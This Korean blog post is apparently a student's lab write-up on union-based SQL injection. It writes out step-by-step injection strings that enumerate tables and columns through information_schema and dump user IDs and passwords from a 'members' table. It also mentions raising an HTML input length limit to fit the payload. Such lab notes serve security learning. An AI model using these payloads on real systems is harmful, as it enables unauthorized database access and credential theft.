[Union based SQLi] 실습

BEEUM·2024년 4월 25일
post-thumbnail

(1) 조회할 Table의 이름 찾기

sysobjects, information_schema.tables

해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table

⇒ sysobject 에서 Table 의 이름 Data가 담겨있는 Column : name

⇒ information_schema 에서 Table의 이름 Data가 담겨있는 Column : table_name

syscolumns, information_schema.columns

해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table

⇒ syscolumns 에서 Column의 Data가 담겨있는 Column : name

⇒ information_schema.columns 에서 Column의 Data가 담겨있는 Column : column_name

공격 문자열 입력

⇒ ‘ union SELECT table_name FROM information_schema.tables

동일한 개수의 식이 있어야 한다는 오류메세지에서 두 SELECT문이 가져오고있는 Column 개수가 다름을 확인할 수 있음

(2) Column 명 찾기

Column 개수를 구하기 위해 값 증가 시키며 대입

⇒ ‘ union SELECT 1, table_name FROM information_schema.tables --

불러오는 Column 개수가 5가 되었을 때 SQL 문이 정상 동작하여 Table 이름을 추출한 것을 확인할 수 있다

(3) Column 추출

⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns --

사용중인 전체 Column 명 추출

(4) 특정 Table의 Column 값 추출

⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns where table_name=’members’ --

(5) 특정 Table의 특정 Data 추출 (ID/PW)

⇒ ‘ union SELECT 1, 2, 3, user_id, passwd FROM members --

추출한 데이터를 기반으로 ID 와 PW를 추출하였다

(6) 글자 수 제한이 걸려있는 경우

HTML 태그의 글자 수 제한을 변경 후 공격 문자열을 삽입

profile
정보보안 꿈나무

0개의 댓글